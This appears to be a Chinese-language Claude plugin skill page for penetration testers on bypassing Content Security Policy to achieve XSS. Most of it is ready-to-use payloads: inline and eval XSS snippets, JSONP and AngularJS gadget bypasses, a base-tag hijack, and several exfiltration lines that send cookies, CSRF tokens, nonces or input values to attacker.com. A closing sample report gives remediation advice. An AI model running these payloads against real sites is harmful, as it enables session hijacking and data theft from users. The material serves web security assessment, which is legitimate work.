Bypasses Content Security Policy (CSP) via misconfigurations, JSONP endpoints, unsafe-inline/eval, base-uri, and nonce leaks to enable XSS payloads during web security audits.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 发现 XSS 漏洞但执行被内容安全策略(CSP)阻止时
Analyze and bypass Content Security Policy to achieve XSS by exploiting misconfigurations, JSONP endpoints, unsafe directives, and policy injection techniques. Use when CSP blocks payloads in web security assessments.
Analyzes CSP policies via headers/meta tags and bypasses them with misconfigurations, JSONP endpoints, unsafe directives, and nonce leaks to enable XSS in security assessments.
Tests web apps for reflected, stored, and DOM-based XSS vulnerabilities using context-specific JavaScript payloads that bypass sanitization and CSP. Demonstrates session hijacking and impersonation for pentests.
Share bugs, ideas, or general feedback.
# 从响应头提取 CSP
curl -sI http://target.com | grep -i "content-security-policy"
# 检查 meta 标签中的 CSP
curl -s http://target.com | grep -i "content-security-policy"
# 使用 Google CSP Evaluator 分析 CSP
# 访问:https://csp-evaluator.withgoogle.com/
# 粘贴 CSP 策略进行自动化分析
# 检查 report-only 模式(未强制执行)
curl -sI http://target.com | grep -i "content-security-policy-report-only"
# 如果只存在 report-only,CSP 未强制执行 — XSS 可直接生效
# 解析指令值
# CSP 示例:
# script-src 'self' 'unsafe-inline' https://cdn.example.com;
# default-src 'self'; style-src 'self' 'unsafe-inline';
# img-src *; connect-src 'self'
# 如果 script-src 包含 'unsafe-inline':
# CSP 对内联脚本实际上已被绕过
<script>alert(document.domain)</script>
<img src=x onerror="alert(1)">
# 如果 script-src 包含 'unsafe-eval':
# eval() 及相关函数可正常使用
<script>eval('alert(1)')</script>
<script>setTimeout('alert(1)',0)</script>
<script>new Function('alert(1)')()</script>
# 如果带 nonce 的 'unsafe-inline':
# 存在 nonce 时 unsafe-inline 被忽略(CSP3)
# 改为关注 nonce 泄漏
# 如果 CSP 将具有 JSONP 端点的域加入白名单:
# script-src 'self' https://accounts.google.com
# 在白名单域上查找 JSONP 端点
# Google:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
# 常见 JSONP 端点:
# https://www.google.com/complete/search?client=chrome&q=test&callback=alert(1)//
# https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js
# 如果 AngularJS 被白名单(CDN):
# script-src 包含 cdnjs.cloudflare.com 或 ajax.googleapis.com
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
# 利用白名单 API 上的 JSONP
<script src="https://whitelisted-api.com/endpoint?callback=alert(1)//">
</script>
# 如果 base-uri 未受限制:
# 注入 <base> 标签以重定向相对脚本加载
<base href="https://attacker.com/">
# 所有相对 script src 将从 attacker.com 加载
# 如果 form-action 未受限制:
# 通过表单提交窃取数据
<form action="https://attacker.com/steal" method="POST">
<input name="csrf_token" value="">
</form>
<script>document.forms[0].submit()</script>
# 如果 object-src 未受限制:
# 使用 Flash 或基于插件的 XSS
<object data="https://attacker.com/exploit.swf"></object>
<embed src="https://attacker.com/exploit.swf">
# 通过 CSS 属性选择器泄漏 Nonce
# 如果攻击者可注入 HTML(但因 CSP nonce 无法注入脚本):
<style>
script[nonce^="a"] { background: url("https://attacker.com/leak?nonce=a"); }
script[nonce^="b"] { background: url("https://attacker.com/leak?nonce=b"); }
</style>
# 暴力破解每个字符位置以泄漏 nonce
# Nonce 复用检测
# 如果相同 nonce 跨多个页面或请求使用:
# 从一个页面捕获 nonce,用它在另一个页面注入脚本
# DOM 破坏以覆盖 nonce 检查
<form id="csp"><input name="nonce" value="attacker-controlled"></form>
# 白名单库中的脚本小工具
# 如果白名单 JS 库具有创建脚本的小工具:
# jQuery: $.getScript(), $.globalEval()
# Lodash: _.template()
# DOMPurify 通过原型污染绕过
# 通过反射参数注入策略
# 如果 CSP 头反射用户输入:
# 注入:;script-src 'unsafe-inline'
# 或注入:;report-uri /csp-report;script-src-elem 'unsafe-inline'
# 即使没有脚本执行,数据外泄仍然可行:
# 通过 img-src(如果允许外部):
<img src="https://attacker.com/steal?data=SENSITIVE_DATA">
# 通过 CSS 注入(如果 style-src 允许 unsafe-inline):
<style>
input[value^="a"] { background: url("https://attacker.com/?char=a"); }
input[value^="b"] { background: url("https://attacker.com/?char=b"); }
</style>
# 通过 connect-src(如果允许外部):
<script nonce="valid">
fetch('https://attacker.com/steal?data=' + document.cookie);
</script>
# 通过 DNS 预取:
<link rel="dns-prefetch" href="//data.attacker.com">
# 通过 WebRTC(如果未被阻止):
# WebRTC 可通过 STUN/TURN 服务器泄漏数据
| 概念 | 定义 |
|---|---|
| unsafe-inline | 允许内联脚本执行的 CSP 指令,使 XSS 保护失效 |
| 基于 Nonce 的 CSP | 使用随机 nonce 允许特定脚本同时阻止注入脚本 |
| JSONP 绕过(JSONP Bypass) | 利用白名单域上的 JSONP 端点执行攻击者回调 |
| 策略注入(Policy Injection) | 通过头部中反射的用户输入注入 CSP 指令 |
| base-uri 劫持(base-uri Hijacking) | 通过注入 base 元素重定向相对脚本加载 |
| 脚本小工具(Script Gadgets) | 可被滥用于绕过 CSP 的合法库功能 |
| CSP Report-Only | 仅记录违规但不阻止的非强制 CSP 模式 |
| 工具 | 用途 |
|---|---|
| CSP Evaluator | Google 分析 CSP 策略弱点的工具 |
| Burp Suite | 用于 CSP 头分析和绕过测试的 HTTP 代理 |
| CSP Scanner | 用于识别 CSP 绕过机会的浏览器扩展 |
| csp-bypass | CSP 绕过技术和载荷的精选列表 |
| RetireJS | 识别白名单 CDN 上的易受攻击 JavaScript 库 |
| DOM Invader | 用于通过 DOM 操作测试 CSP 绕过的 Burp 工具 |
## CSP 绕过评估报告
- **目标**:http://target.com
- **CSP 模式**:已强制执行
- **策略**:script-src 'self' https://cdn.jsdelivr.net; default-src 'self'
### CSP 分析
| 指令 | 值 | 风险 |
|-----------|-------|------|
| script-src | 'self' cdn.jsdelivr.net | 可能通过 JSONP/库绕过 |
| default-src | 'self' | 中等 |
| base-uri | 未设置 | 可能被 base-uri 劫持 |
| object-src | 未设置(回退到 default-src) | 低 |
### 发现的绕过技术
| # | 技术 | 载荷 | 影响 |
|---|-----------|---------|--------|
| 1 | 通过 CDN 加载 AngularJS | 加载 angular.min.js + 模板注入 | 完整 XSS |
| 2 | 缺少 base-uri | <base href="https://evil.com/"> | 脚本劫持 |
### 修复建议
- 移除白名单 CDN 域;使用基于 nonce 或哈希的 CSP
- 添加 base-uri 'self' 防止 base 元素注入
- 添加 object-src 'none' 阻止基于插件的执行
- 从 unsafe-inline 迁移到严格的基于 nonce 的策略
- 为现代 CSP3 浏览器实施 strict-dynamic